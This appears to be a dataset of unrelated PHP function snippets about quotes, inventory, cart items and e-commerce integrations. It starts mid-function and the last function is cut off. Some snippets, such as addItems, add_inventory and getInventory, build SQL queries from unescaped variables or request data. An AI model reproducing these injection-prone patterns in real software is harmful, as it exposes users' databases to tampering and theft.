$this->quote->type == 'Builder')\n {\n if ($this->quote->type == 'Cabinet and Install')\n {\n foreach ($this->quote->cabinets AS $cabinet)\n {\n $add = ($cabinet->price * $cabinet->cabinet->vendor->multiplier) * .40;\n $this->forFrugal += $add; // Frugal gets 40% of the cabprice\n $this->setDebug(\"40% of {$cabinet->cabinet->frugal_name} to Frugal\", $add);\n }\n\n $this->forInstaller += $this->instItems * 20; // get 20 per installable item not attach\n $this->forFrugal += 250; // For delivery\n $this->forFrugal += 250; // for cabinet buildup.\n $this->forFrugal += $this->instItems * 10; // Cabinet + Install gets $10 for frugal.\n $this->forFrugal += $this->attCount * 30; // Attachment Count.\n } // If it's cabinet install\n else\n {\n if ($this->instItems < 40)\n {\n $this->forInstaller += 500;\n }\n else\n {\n $remainder = $this->instItems - 40;\n $this->forInstaller += 500;\n $this->forInstaller += $remainder * 10;\n } // more than 40\n } // If builder\n } // if cabinet and install or builder\n else\n {\n if ($this->cabItems <= 35)\n {\n $this->forFrugal += $this->getSetting('fL35');\n }\n else\n {\n if ($this->cabItems > 35 && $this->cabItems <= 55)\n {\n $this->forFrugal += $this->getSetting('fG35L55');\n }\n else\n {\n if ($this->cabItems > 55 && $this->cabItems <= 65)\n {\n $this->forFrugal += $this->getSetting('fG55L65');\n }\n else\n {\n if ($this->cabItems > 65 && $this->cabItems <= 75)\n {\n $this->forFrugal += $this->getSetting('fG65L75');\n }\n else\n {\n if ($this->cabItems > 75 && $this->cabItems <= 85)\n {\n $this->forFrugal += $this->getSetting('fG75L85');\n }\n else\n {\n if ($this->cabItems > 85 && $this->cabItems <= 94)\n {\n $this->forFrugal += $this->getSetting('fG85L94');\n }\n else\n {\n if ($this->cabItems > 94 && $this->cabItems <= 110)\n {\n $this->forFrugal += $this->getSetting('fG94L110');\n }\n else\n {\n if ($this->cabItems > 110)\n {\n $this->forFrugal += $this->getSetting('fG110');\n }\n }\n }\n }\n }\n }\n }\n }\n\n $this->forFrugal += ($this->attCount * 20);\n $this->setDebug(\"Frugal gets Attachment count * 20\", $this->attCount * 20);\n $this->forInstaller += ($this->instItems * 20);\n $this->setDebug(\"Installer gets Cabinet Installable ($this->instItems * 20)\",\n $this->instItems * 20);\n }\n }\n }\n\n $this->forElectrician += $this->appElectrician;\n $this->forPlumber += $this->appPlumber;\n $this->forInstaller += $this->accInstaller;\n $this->forFrugal += $this->accFrugal;\n // Additional - LED Lighting let's add this.\n $this->forDesigner += $this->designerLED;\n $this->forFrugal += $this->frugalLED;\n $this->forElectrician += $this->electricianLED;\n\n // No electrician or plumber if cabinet + install\n // For Frugal + on Quote and remove plumber and electrician rates.\n if ($this->quote->type == 'Cabinet and Install' || $this->quote->type == 'Cabinet Only')\n {\n $this->forPlumber = 0;\n $this->forElectrician = 0;\n }\n if ($this->quote->type == 'Cabinet Only')\n {\n $this->forInstaller = 0;\n }\n\n if ($this->quote->type == 'Granite Only')\n {\n $this->forElectrician = 0;\n }\n /*\n if ($this->quote->type == 'Cabinet Small Job')\n {\n if (!isset($this->gPrice))\n {\n $this->gPrice = 0;\n }\n\n $gMarkup = $this->gPrice * .2;\n $this->forFrugal += $gMarkup;\n\n $this->setDebug(\"Small Job Marks up Granite 20%\", $gMarkup);\n $sTotal = 0;\n if (isset($this->meta['sinks']))\n {\n foreach ($this->meta['sinks'] AS $sink)\n {\n if (!$sink)\n {\n continue;\n }\n $sink = Sink::find($sink);\n $sTotal += $sink->price;\n }\n $sMarkup = $sTotal * .2;\n $this->setDebug(\"Small Job Marks up Sink Costs 20%\", $sMarkup);\n $this->forFrugal += $sMarkup;\n }\n }\n */\n if ($this->quote->type == 'Cabinet Small Job')\n {\n $markup = $this->total * .4;\n $this->setDebug(\"Applying 40% Markup to Frugal for Cabinet Small Job\", $markup);\n $this->forFrugal = $markup;\n }\n\n // Add for installer to total\n $this->total += $this->forInstaller;\n $this->setDebug(\"Applying Installer Payouts to Quote\", $this->forInstaller);\n $this->total += $this->forElectrician;\n $this->setDebug(\"Applying Electrician Payouts to Quote\", $this->forElectrician);\n $this->total += $this->forPlumber;\n $this->setDebug(\"Applying Plumber Payouts to Quote\", $this->forPlumber);\n if ($this->quote->type != 'Builder')\n {\n $this->total += $this->forFrugal;\n $this->setDebug(\"Applying Frugal Payouts to Quote\", $this->forFrugal);\n }\n $this->total += $this->forDesigner;\n $this->setDebug(\"Applying Designer Payouts to Quote\", $this->forDesigner);\n if ($this->quote->type == 'Builder')\n {\n if ($this->quote->markup == 0)\n {\n $this->quote->markup = 30;\n $this->quote->save();\n }\n\n $perc = $this->quote->markup / 100;\n $markup = $this->total * $perc;\n $this->total += $markup;\n $this->setDebug(\"Applying {$this->quote->markup}% to Total For Builder Markup\", $markup);\n $this->forFrugal = $markup;\n }\n\n }", "protected function _getItems($items)\n {\n try {\n $data = array();\n $configurableSkus = array();\n\n foreach($items as $item) {\n $_item = array();\n $_item['vars'] = array();\n if ($item->getProductType() == 'configurable') {\n $parentIds[] = $item->getParentItemId();\n $options = $item->getProduct()->getTypeInstance(true)->getOrderOptions($item->getProduct());\n $_item['id'] = $options['simple_sku'];\n $_item['title'] = $options['simple_name'];\n $_item['vars'] = $this->_getVars($options);\n if($item->getProduct()->getSpecialPrice())\n {\n $_item['vars']['special_price']=Mage::helper('sailthruemail')->formatAmount($item->getProduct()->getSpecialPrice());\n } \n $configurableSkus[] = $options['simple_sku'];\n } elseif (!in_array($item->getSku(),$configurableSkus) && $item->getProductType() != 'bundle') {\n $_item['id'] = $item->getSku();\n $_item['title'] = $item->getName();\n } else {\n $_item['id'] = null;\n }\n\n if ($_item['id']) {\n if (get_class($item) == 'Mage_Sales_Model_Order_Item' ) {\n $_item['qty'] = intval($item->getQtyOrdered());\n } else {\n $_item['qty'] = intval($item->getQty());\n }\n\n $_item['url'] = str_replace('admin.','www.',$item->getProduct()->getProductUrl());\n $_item['price'] = Mage::helper('sailthruemail')->formatAmount($item->getProduct()->getPrice());\n\n // Uncomment to pass Images as a var. May require reconfiguring per Magento Product Configurations.\n /* if (!isset($_item['vars']['image'])) {\n if ($item->getProduct()->hasImage()) {\n $_item['vars']['image'] = $item->getProduct()->getImageUrl();\n } elseif ($item->getProduct()->hasSmallImage()) {\n $_item['vars']['image'] = $item->getProduct()->getSmallImageUrl(300,300);\n }\n }*/\n if (!isset($_item['vars']['image'])) {\n if ($item->getProduct()->hasImage()) {\n $pImage = $item->getProduct()->getImage();\n $pImageUrl = \"\";\n $pImageUrl = Mage::helper('sailthruemail')->getSailthruProductImage($pImage);\n if(empty($pImageUrl)){\n $pImageUrl = $item->getProduct()->getImageUrl();\n }\n $_item['vars']['image'] = $pImageUrl;\n\n } elseif ($item->getProduct()->hasSmallImage()) {\n $pSmallImage = $item->getProduct()->getSmallImage();\n $pSmallImageUrl = \"\";\n $pSmallImageUrl = Mage::helper('sailthruemail')->getSailthruProductImage($pSmallImage,'300x300');\n if(empty($pSmallImageUrl)){\n $pSmallImageUrl= $item->getProduct()->getSmallImageUrl(300, 300);\n }\n $_item['vars']['image']=$pSmallImageUrl;\n\n }\n } \n if ($tags = $this->_getTags($item->getProductId())) {\n $_item['tags'] = $tags;\n }\n\n $data[] = $_item;\n }\n }\n return $data;\n } catch (Exception $e) {\n Mage::logException($e);\n return false;\n }\n }", "public function prepare_items()\n {\n }", "public function prepare_items()\n {\n }", "public function prepare_items()\n {\n }", "public function prepare_items()\n {\n }", "public function prepare_items()\n {\n }", "public function get_inventory() {\n\n\t\t$inventory = array();\n\n\t\tforeach ( $this->resource->items as $item ) {\n\n\t\t\t$data = $item->resource;\n\n\t\t\t$inventory[ $data->sku ] = (array) $data;\n\t\t}\n\n\t\treturn $inventory;\n\t}", "public function processInventory()\n\t{\n\t\tif (($handle = fopen($this->outboundDir.$this->archivedFile, \"r\")) !== FALSE) {\n while (($data = fgetcsv($handle, 1000, \",\")) !== FALSE) {\n if($i!=0)\n\t\t{\n\t\t\t$stock = (int) $data[1];\n $sku = $data[0];\n\t\t\t$this->blinkeInventory[$sku]['blinke'] = $stock;\n\t\n\t\t}\n\t\t\t$i++;\n\t\t}\n\t\t\tfclose($handle);\n\t\t}\n\t\tMage::log(\"Total sku count from blinke- \" .count($this->blinkeInventory),null,$this->logfile);\n\t\n\t\tforeach($this->blinkeInventory as $sku=>$array)\n\t\t{\n\t\t\t$fstock = $array['blinke'];\n // calclulate stock by substracting stock for on hold orders\n if(array_key_exists($sku, $this->onHoldOrders))\n {\n Mage::log(\"On hold stock for $sku is. \".$this->onHoldOrders[$sku],null,$this->logfile);\n\t\t\t\t$this->blinkeInventory[$sku]['onHold'] = $this->onHoldOrders[$sku];\n Mage::log(\"Blinke stock for $sku is. \".$fstock,null,$this->logfile);\n $fstock = (int) ($fstock - $this->onHoldOrders[$sku]);\n\t\t\t\t$this->blinkeInventory[$sku]['finalMagento'] = $fstock;\n Mage::log(\"EDIT :: Final stock for $sku is $fstock\",null,$this->logfile); \n }\n\t\t\telse\n\t\t\t{\n\t\t\t\t$this->blinkeInventory[$sku]['finalMagento'] = $fstock;\n\t\t\t}\n\t\t\t\n\n\t\t\t//process inventory for the sku\n\t\t\t$product = Mage::getModel('catalog/product')->loadByAttribute('sku',$sku);\n\t\t\tif($product)\n\t\t {\n\t\t\t\ttry { $productId = $product->getIdBySku($sku); }\n\t\t catch(Exception $e)\n \t\t{\n \t\t\t Mage::log(\"Special SKU: $sku not found in magento\",null,$this->logfile);\n \t\t continue;\n\t\t }\n\n\t\t\t\t$stockItem = Mage::getModel('cataloginventory/stock_item')->loadByProduct($productId);\n\t\t $stockItemId = $stockItem->getId();\n \t\tif (!$stockItemId) {\n\t Mage::log(\"STOCK ID for SKU: $sku doesnot exist\",null,$this->logfile);\n \t continue;\n \t\t} else {\n \t$stock = $stockItem->getData();\n \t\t}\n\t\t\t\t\n\t\t\t\t$originalStock = $stock['qty'];\n\t\t\t\t$this->blinkeInventory[$sku]['currentMagento'] = $originalStock;\n\t\t\t\tif($originalStock != $fstock)\n {\n \t\tif($fstock > 0)\n\t\t {\n \t\t $stock['qty'] = $fstock;\n\t\t $stock['is_in_stock'] = '1';\n\t\t $stock['manage_stock'] = '1';\n\t \t\t}\n\t\t\t\telse\n\t\t {\n \t\t $stock['qty'] = 0;\n \t\t}\n\t\t\t\t foreach($stock as $field => $value) {\n\t $stockItem->setData($field, $value?$value:0);\n \t\t }\n \t\ttry{\n \t\t$stockItem->save();\n\t\t }\n\t\t catch(Exception $e)\n \t\t{\n\t\t\t\t\tMage::log(\"cannot save inventory for $sku\",null,$this->logfile);\n\t\t continue;\n \t\t}\n\t\t Mage::log(\"Inventory updated for: $sku with value: $fstock from $originalStock\",null,$this->logfile);\n \t\tunset($stockItem);\n\t\t unset($product);\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\tMage::log(\"Inventory not updated for: $sku with value: $fstock from $originalStock\",null,$this->logfile);\n\t\t\t\t}\n\n\t\n\t\t\t}\t\n\t\t\telse\n\t\t\t{\n\t\t\t\t Mage::log(\"Special SKU: $sku not found in magento\",null,$this->logfile);\n\t\t\t}\n\t\t}\n\t}", "public function productVariantInventory($product_id, $store_id = 0);", "public function updateProductInventory($command)\n {\n $command->info('Updating inventory...');\n $items = $this->sqlRepository->use(Item::class)->findAll();\n\n /** @var Item $item */\n foreach($items as $item)\n {\n $command->line('Evaluating Item ID: ' . $item->id);\n $rel_stock_locations = $item->rel_stock_location_items()->where('is_inactive', false)->get();\n\n /** @var RelStockLocationItem $rel_stock_location */\n foreach($rel_stock_locations as $rel_stock_location)\n {\n $quantity_reserved = 0;\n $total_quantity = ($rel_stock_location->quantity_available ?? 0);\n $total_quantity += ($rel_stock_location->quantity_reserved ?? 0);\n\n // Open all order lines on this line item\n $line_items = TransactionLineItem::whereRaw('item_id = ? AND transaction_line_itemable_type =? AND status != ?',\n [$item->id, 'SalesOrder', 'out_of_stock'])\n ->get();\n\n // Filter out line items that are not shipping from this location\n $line_items = $line_items->filter(function(TransactionLineItem $tli) use($rel_stock_location) {\n return($tli->ship_from_location_id == $rel_stock_location->stock_location_id);\n })\n ->filter(function(TransactionLineItem $tli) {\n // Filter out lines that are on canceled or shipped orders\n $parent_sales_order = SalesOrder::where('transaction_id', $tli->transaction_id)->first();\n return(in_array($parent_sales_order->status, ['pending', 'processing']));\n });\n\n /** @var TransactionLineItem $line_item */\n foreach($line_items as $line_item)\n {\n $quantity_reserved += $line_item->quantity;\n }\n\n $quantity_available = $total_quantity - $quantity_reserved;\n\n if($quantity_available < 0)\n $quantity_available = 0;\n\n if($quantity_reserved < 0)\n $quantity_reserved = 0;\n\n $rel_stock_location->quantity_reserved = $quantity_reserved;\n $rel_stock_location->quantity_available = $quantity_available;\n $rel_stock_location->save();\n\n $command->comment('Stock Location: ' . $rel_stock_location->stock_location->name . ' | Reserved: ' . $quantity_reserved . ' | Avail: ' . $quantity_available);\n }\n }\n\n $command->info('Complete!');\n }", "public function convertSaleItemsData();", "public function testDestiny2EquipItems()\n {\n // TODO: implement\n $this->markTestIncomplete('Not implemented');\n }", "public function prepare_items() {\n\n\t\t$columns = $this->get_columns();\n\t\t$hidden = get_hidden_columns( $this->screen );\n \t\t$sortable = $this->get_sortable_columns();\n \t\t$this->_column_headers = array($columns, $hidden, $sortable);\n \t\t//$this->_column_headers = $this->get_column_info();\n\t\t/** Process bulk action */\n\t\t$this->process_bulk_action();\n\n\t\t$per_page = $this->get_items_per_page( 'transactions_per_page', 10 );\n\t\t$current_page = $this->get_pagenum();\n\t\t$total_items = self::record_count();\n\n\t\t$this->set_pagination_args( array(\n\t\t\t'total_items' => $total_items, //WE have to calculate the total number of items\n\t\t\t'per_page' => $per_page //WE have to determine how many items to show on a page\n\t\t));\n\n\t\t$this->items = self::get_customers( $per_page, $current_page );\n\t}", "public function getInventoryItems(){\n $accounts = [];\n return $accounts;\n }", "abstract protected function _getItems();", "public function getItemBag() {\n $item_classname = $this->getItemClass();\n $item_bag_classname = $this->getItemBagClass();\n $items = new $item_bag_classname();\n $currency = NULL;\n foreach ($this->getPayment()->getLineItems() as $line_item) {\n $item = new $item_classname();\n $item->setPrice($line_item->getAmount());\n $item->setQuantity($line_item->getQuantity());\n $item->setDescription($line_item->getDescription());\n $item->setName($line_item->getName());\n $items->add($item);\n\n $line_item_currency = $line_item->getCurrencyCode();\n\n if ($line_item_currency != $currency) {\n if ($currency != NULL) {\n // This is the second time we are changing the currency which means\n // that our line items have mixed currencies. This ain't gonna work!\n drupal_set_message($this->t('Mixed currencies detected which is not yet supported.'), 'error');\n return new OperationResult(NULL);\n }\n $currency = $line_item_currency;\n }\n }\n $this->setCurrency($currency);\n return $items;\n }", "public static function manageinventory()\n\t\t{\n\t\t\t$stageDBO = DatabaseObjectFactory::build('Material');\n\t\t\t$arr = ['material_id','unit_price'];\n\t\t\t$materials = $stageDBO->getRecords($arr);\n\t\t\t\n\t\t\t$stageDBO = DatabaseObjectFactory::build('craft');\n\t\t\t$arr = ['craft_id','calculated_qoh'];\n\t\t\t$stageDBO->SetJoin(['[><]item' => 'item_id']);\n\t\t\t$crafts = $stageDBO->getRecords($arr);\n\n\t\t\t$stageDBO = DatabaseObjectFactory::build('return_details');\n\t\t\t$stageDBO->SetJoin(['[><]item' => 'item_id']);\n\t\t\t$arr = ['return_id','item_id','qty','current_price'];\n\t\t\t$returns = $stageDBO->getRecords($arr);\n\n\t\t\tinclude('views/pages/manageinventory.php');\n\t\t}", "abstract public function items();", "public function getItemsInfo()\n {\n $data = [];\n foreach ($this->getOrder()->getAllItems() as $item) {\n if ($this->getDisplayWrappingBothPrices()) {\n $temp['price_excl_tax'] = $this->_preparePrices($item->getGwBasePrice(), $item->getGwPrice());\n $temp['price_incl_tax'] = $this->_preparePrices(\n $item->getGwBasePrice() + $item->getGwBaseTaxAmount(),\n $item->getGwPrice() + $item->getGwTaxAmount()\n );\n } elseif ($this->getDisplayWrappingPriceInclTax()) {\n $temp['price'] = $this->_preparePrices(\n $item->getGwBasePrice() + $item->getGwBaseTaxAmount(),\n $item->getGwPrice() + $item->getGwTaxAmount()\n );\n } else {\n $temp['price'] = $this->_preparePrices($item->getGwBasePrice(), $item->getGwPrice());\n }\n $temp['design'] = $item->getGwId();\n $data[$item->getId()] = $temp;\n }\n return new \\Magento\\Framework\\DataObject($data);\n }", "protected function buildItemsFields(): void\n {\n $groupName = __(\"Items\");\n $isReadOnly = !Splash::isTravisMode();\n\n //====================================================================//\n // Order Line Description\n $this->fieldsFactory()->create(SPL_T_VARCHAR)\n ->identifier(\"name\")\n ->inList(\"items\")\n ->name(__(\"Item\"))\n ->group($groupName)\n ->microData(\"http://schema.org/partOfInvoice\", \"description\")\n ->association(\"name@items\", \"quantity@items\", \"subtotal@items\")\n ->isReadOnly($isReadOnly)\n ;\n //====================================================================//\n // Order Line Product Identifier\n $this->fieldsFactory()->create((string) self::objects()->encode(\"Product\", SPL_T_ID))\n ->identifier(\"product\")\n ->inList(\"items\")\n ->name(__(\"Product\"))\n ->group($groupName)\n ->microData(\"http://schema.org/Product\", \"productID\")\n ->association(\"name@items\", \"quantity@items\", \"subtotal@items\")\n ->isReadOnly($isReadOnly)\n ->isNotTested()\n ;\n //====================================================================//\n // Order Line Product SKU\n $this->fieldsFactory()->create(SPL_T_VARCHAR)\n ->identifier(\"sku\")\n ->inList(\"items\")\n ->name(__(\"SKU\"))\n ->microData(\"http://schema.org/Product\", \"sku\")\n ->group($groupName)\n ->isReadOnly()\n ;\n //====================================================================//\n // Order Line Quantity\n $this->fieldsFactory()->create(SPL_T_INT)\n ->identifier(\"quantity\")\n ->inList(\"items\")\n ->name(__(\"Quantity\"))\n ->group($groupName)\n ->microData(\"http://schema.org/QuantitativeValue\", \"value\")\n ->association(\"name@items\", \"quantity@items\", \"subtotal@items\")\n ->isReadOnly($isReadOnly)\n ;\n //====================================================================//\n // Order Line Discount\n $this->fieldsFactory()->create(SPL_T_DOUBLE)\n ->identifier(\"discount\")\n ->inList(\"items\")\n ->name(__(\"Percentage discount\"))\n ->group($groupName)\n ->microData(\"http://schema.org/Order\", \"discount\")\n ->association(\"name@items\", \"quantity@items\", \"subtotal@items\")\n ->isReadOnly($isReadOnly)\n ;\n //====================================================================//\n // Order Line Unit Price\n $this->fieldsFactory()->create(SPL_T_PRICE)\n ->identifier(\"subtotal\")\n ->inList(\"items\")\n ->name(__(\"Price\"))\n ->group($groupName)\n ->microData(\"http://schema.org/PriceSpecification\", \"price\")\n ->association(\"name@items\", \"quantity@items\", \"subtotal@items\")\n ->isReadOnly($isReadOnly)\n ;\n //====================================================================//\n // Order Line Tax Name\n $this->fieldsFactory()->create(SPL_T_VARCHAR)\n ->identifier(\"tax_name\")\n ->inList(\"items\")\n ->name(__(\"Tax name\"))\n ->microData(\"http://schema.org/PriceSpecification\", \"valueAddedTaxName\")\n ->group($groupName)\n ->association(\"name@items\", \"quantity@items\", \"subtotal@items\")\n ->isReadOnly()\n ;\n }", "function prepare_items() {\n\t\tglobal $post;\n\n\t\t$this->regs = query_posts( \"post_parent={$post->ID}&post_type=ep_reg\" );\n\t\t$this->total_items = count( $this->regs );\n\t}", "protected function addItems()\n {\n $origin = 'stock';\n $code = 'cataloginventory';\n $message = Data::ERROR_QTY;\n $additionalData = null;\n $mockItems = [];\n\n for ($i = 0; $i < 2; $i++) {\n $mockItems[] = [\n 'origin' => $origin . $i,\n 'code' => $code,\n 'message' => $message . $i,\n 'additionalData' => $additionalData,\n ];\n $this->listStatus->addItem($origin . $i, $code, $message . $i, $additionalData);\n }\n return $mockItems;\n }", "function set_items() { \n\n\t\t$this->items = $this->get_items();\n\n\t}", "public function add_inventory() {\n\t\t$values=array(\"brand_id\"=>$_POST['brand_list_id'],\"product_id\"=>$_POST['product_list_id'],\"item_name\"=>$_POST['item_name'],\"entry_date\"=>$_POST['purchase_date'],\"buy_price\"=>$_POST['product_buy_price'],\"sell_price\"=>$_POST['product_sell_price'],\"quantity\"=>$_POST['item_qty'],\"update_by\"=>isset($_SESSION['user_id']));\n\t\tif($this->insert(\"inventory\",$values)) {\t\n\t\t\t$result=$this->runQuery('getAll','select max(id) as inv_item_id from inventory');\n\t\t\techo '{\"inventoryItemList\":{\"updateFlag\":false,\"item\":'.json_encode($result).'}}';\n\t\t}\n\t\telse\n\t\t\techo 'Error while inserting inventory tbl';\n\t}", "public function get_concurinventory() {\n\t\t\t$response = $this->get_inventory();\n\t\t\t$inventory = $response['Items'];\n\t\t\t\n\t\t\twhile (!empty($response['NextPage'])) {\n\t\t\t\t$response = $this->get_inventory($response['NextPage']);\n\t\t\t\t$inventory = array_merge($inventory, $response['Items']);\n\t\t\t}\n\t\t\treturn $inventory;\n\t\t}", "private function prepareItems()\n {\n $attribute = $this->attribute;\n $items = $this->model->$attribute;\n if (!is_array($items)) {\n $items = [];\n }\n\n $this->_items = $items;\n }", "public function getItems()\r\n\t{\r\n\t\t$items = parent::getItems();\r\n\r\n\t\tforeach ($items as $oneItem) {\r\n\r\n\t\t\tif ( isset($oneItem->genre) ) {\r\n\t\t\t\t// Catch the item tags (string with ',' coma glue)\r\n\t\t\t\t$tags = explode(\",\",$oneItem->genre);\r\n\r\n\t\t\t\t$db = JFactory::getDbo();\r\n\t\t\t\t\t$namedTags = array(); // Cleaning and initalization of named tags array\r\n\r\n\t\t\t\t\t// Get the tag names of each tag id\r\n\t\t\t\t\tforeach ($tags as $tag) {\r\n\r\n\t\t\t\t\t\t$query = $db->getQuery(true);\r\n\t\t\t\t\t\t$query->select(\"title\");\r\n\t\t\t\t\t\t$query->from('`#__tags`');\r\n\t\t\t\t\t\t$query->where( \"id=\" . intval($tag) );\r\n\r\n\t\t\t\t\t\t$db->setQuery($query);\r\n\t\t\t\t\t\t$row = $db->loadObjectList();\r\n\r\n\t\t\t\t\t\t// Read the row and get the tag name (title)\r\n\t\t\t\t\t\tif (!is_null($row)) {\r\n\t\t\t\t\t\t\tforeach ($row as $value) {\r\n\t\t\t\t\t\t\t\tif ( $value && isset($value->title) ) {\r\n\t\t\t\t\t\t\t\t\t$namedTags[] = trim($value->title);\r\n\t\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t}\r\n\r\n\t\t\t\t\t}\r\n\r\n\t\t\t\t\t// Finally replace the data object with proper information\r\n\t\t\t\t\t$oneItem->genre = !empty($namedTags) ? implode(', ',$namedTags) : $oneItem->genre;\r\n\t\t\t\t}\r\n\r\n\t\t\t\t// Get the title of every option selected.\r\n\r\n\t\t\t\t$options = json_decode($oneItem->days_of_the_week);\r\n\r\n\t\t\t\t$options_text = array();\r\n\r\n\t\t\t\tforeach($options as $option){\r\n\t\t\t\t\t\t$options_text[] = JText::_('COM_PROGRAMAS_PROGRAMAS_DAYS_OF_THE_WEEK_OPTION_' . strtoupper($option));\r\n\r\n\t\t\t\t}\r\n\t\t\t\t\t$oneItem->days_of_the_week = !empty($options_text) ? implode(',', $options_text) : $oneItem->days_of_the_week;\r\n\t\t}\r\n\t\treturn $items;\r\n\t}", "public function shop_item()\n {\n $this->el = new XTemplate($this->temp, $this->path);\n\n // for element that have wrapper and comment\n $this->el->assign('WRAPPER', $this->wrapper);\n $this->el->assign('LINK', $this->link);\n\n // scan all variables when using\n foreach ($this->shop_item as $key => $value) {\n\n // customize if need when more vars in html template *\n $this->el->assign('IMG', $value);\n\n // fixed loop\n $this->el->parse('shop_item');\n }\n\n // fixed out results\n echo $this->el->text('shop_item');\n\n }", "public static function reloadInventories (): void {\n\t\tglobal $DB;\n\t\t$res = $DB->query('SELECT IID, name, description FROM id_inventories');\n\t\twhile ($r = $res->fetch_assoc())\n\t\t\tself::$inventories[$r['IID']] = new Inventory($r['IID'], $r['name'], $r['description']);\n\t}", "private function calcItems(){\n $items = array();\n for ($i = 0; $i < count($_SESSION['cart']); $i++) {\n //Calculate total price and quantity of similar items\n foreach ($items as $k => $v) {\n if ($v['id'] == $_SESSION['cart'][$i]) {\n $items[$k]['price'] += $items[$k]['price']/$items[$k]['quantity'];\n $items[$k]['quantity'] += 1; \n continue 2;\n }\n }\n //TO DO code sucks, fix\n $query = 'SELECT * FROM shop_' . $this->lang . ' WHERE id = :id';\n $item = $this->database->prepare($query)->execute(array(':id' => $_SESSION['cart'][$i]))->fetchAllAssoc();\n $items[$i] = $item[0];\n $items[$i]['quantity'] = 1;\n }\n return $items;\n }", "public function readItems() {\r\n include('connect.php');\r\n\r\n $query = \"SELECT *\r\n FROM Items\r\n WHERE CharItem_id = ?\";\r\n $myquery = $db->prepare($query);\r\n $myquery->bindValue(1, $this->charStats->Char_id);\r\n $myquery->execute();\r\n while ($result = $myquery->fetchObject()) {\r\n $this->items[] = new Item($result->Item_id, $result->ItemName, $result->ItemWeight, $result->ItemValue, $result->ItemType);\r\n }\r\n }", "public function addItems(){\r\n $sellerId=$this->getsellerId();\r\n $productName= $this->getproductName();\r\n $productType=$this->getproductType();\r\n $productDescription=$this->getproductDescription();\r\n $productQuantity=$this->getproductQuantity();\r\n $productPrice=$this->getproductPrice();\r\n $productImage=$this->getproductImage();\r\n //productid\tproductType\tproductName\tproductDescription\tquantity\tprice\tpicture\tsellerid\r\n $query=\"INSERT INTO inventory(productType,productname, productdescription,quantity,price,picture,sellerid)\r\n VALUES ('$productType','$productName','$productDescription','$productQuantity','$productPrice','$productImage','$sellerId')\";\r\n return $query;\r\n }", "public function getInventory() {\n $result = $this->system->query(\"SELECT * FROM `user_inventory` WHERE `user_id` = '{$this->user_id}'\");\n\n $player_jutsu = [];\n $player_items = [];\n $equipped_jutsu = [];\n $equipped_items = [];\n\n // Decode JSON of inventory into variables\n if($this->system->db_last_num_rows > 0) {\n $user_inventory = $this->system->db_fetch($result);\n $player_jutsu = json_decode($user_inventory['jutsu'], true);\n $player_items = json_decode($user_inventory['items']);\n $equipped_jutsu = json_decode($user_inventory['equipped_jutsu']);\n $equipped_items = json_decode($user_inventory['equipped_items']);\n }\n else {\n $this->system->query(\"INSERT INTO `user_inventory` (`user_id`, `items`, `bloodline_jutsu`, `jutsu`)\n VALUES ('{$this->user_id}', '', '', '')\"\n );\n }\n\n // Assemble query strings and fetch data of jutsu/items user owns from jutsu/item tables\n $player_jutsu_string = '';\n\n if($player_jutsu) {\n $player_jutsu_array = $player_jutsu;\n $player_jutsu = [];\n foreach($player_jutsu_array as $jutsu_data) {\n if(!is_numeric($jutsu_data['jutsu_id'])) {\n continue;\n }\n $player_jutsu[$jutsu_data['jutsu_id']] = $jutsu_data;\n $player_jutsu_string .= $jutsu_data['jutsu_id'] . ',';\n }\n $player_jutsu_string = substr($player_jutsu_string, 0, strlen($player_jutsu_string) - 1);\n\n $this->jutsu = [];\n\n $result = $this->system->query(\n \"SELECT * FROM `jutsu` WHERE `jutsu_id` IN ({$player_jutsu_string})\n\t\t\t\tAND `purchase_type` != '1' AND `rank` <= '{$this->rank}'\"\n );\n if($this->system->db_last_num_rows > 0) {\n while($jutsu_data = $this->system->db_fetch($result)) {\n $jutsu_id = $jutsu_data['jutsu_id'];\n $jutsu = Jutsu::fromArray($jutsu_id, $jutsu_data);\n\n if($player_jutsu[$jutsu_id]['level'] == 0) {\n $this->jutsu_scrolls[$jutsu_id] = $jutsu;\n continue;\n }\n\n $this->jutsu[$jutsu_id] = $jutsu;\n $this->jutsu[$jutsu_id]->setLevel($player_jutsu[$jutsu_id]['level'], $player_jutsu[$jutsu_id]['exp']);\n\n switch($jutsu_data['jutsu_type']) {\n case 'ninjutsu':\n $this->ninjutsu_ids[$jutsu_id] = $jutsu_id;\n break;\n case 'genjutsu':\n $this->genjutsu_ids[$jutsu_id] = $jutsu_id;\n break;\n case 'taijutsu':\n $this->taijutsu_ids[$jutsu_id] = $jutsu_id;\n break;\n }\n }\n }\n }\n else {\n $this->jutsu = [];\n }\n\n $this->equipped_jutsu = [];\n if(!empty($equipped_jutsu)) {\n $count = 0;\n foreach($equipped_jutsu as $jutsu_data) {\n if($this->checkInventory($jutsu_data->id, 'jutsu')) {\n $this->equipped_jutsu[$count]['id'] = $jutsu_data->id;\n $this->equipped_jutsu[$count]['type'] = $jutsu_data->type;\n $count++;\n }\n }\n }\n else {\n $this->equipped_jutsu = [];\n }\n\n if($player_items) {\n $player_items_array = $player_items;\n $player_items = [];\n $player_items_string = '';\n\n foreach($player_items_array as $item) {\n if(!is_numeric($item->item_id)) {\n continue;\n }\n $player_items[$item->item_id] = $item;\n $player_items_string .= $item->item_id . ',';\n }\n $player_items_string = substr($player_items_string, 0, strlen($player_items_string) - 1);\n\n $this->items = [];\n\n $result = $this->system->query(\"SELECT * FROM `items` WHERE `item_id` IN ({$player_items_string})\");\n if($this->system->db_last_num_rows > 0) {\n while($item = $this->system->db_fetch($result)) {\n $this->items[$item['item_id']] = $item;\n $this->items[$item['item_id']]['quantity'] = $player_items[$item['item_id']]->quantity;\n }\n\n }\n else {\n $this->items = [];\n }\n }\n else {\n $this->items = [];\n }\n\n $this->equipped_items = [];\n $this->equipped_weapons = [];\n $this->equipped_armor = [];\n if($equipped_items) {\n foreach($equipped_items as $item_id) {\n if($this->checkInventory($item_id, 'item')) {\n $this->equipped_items[] = $item_id;\n if($this->items[$item_id]['use_type'] == 1) {\n $this->equipped_weapons[] = $item_id;\n }\n else if($this->items[$item_id]['use_type'] == 2) {\n $this->equipped_armor[] = $item_id;\n }\n }\n }\n }\n\n if($this->bloodline_id) {\n if(!empty($this->bloodline->combat_boosts)) {\n $bloodline_skill = 100 + $this->bloodline_skill;\n\n foreach($this->bloodline->combat_boosts as $jutsu_id => $effect) {\n $this->bloodline->combat_boosts[$jutsu_id]['effect_amount'] = round($effect['power'] * $bloodline_skill, 3);\n }\n }\n }\n\n 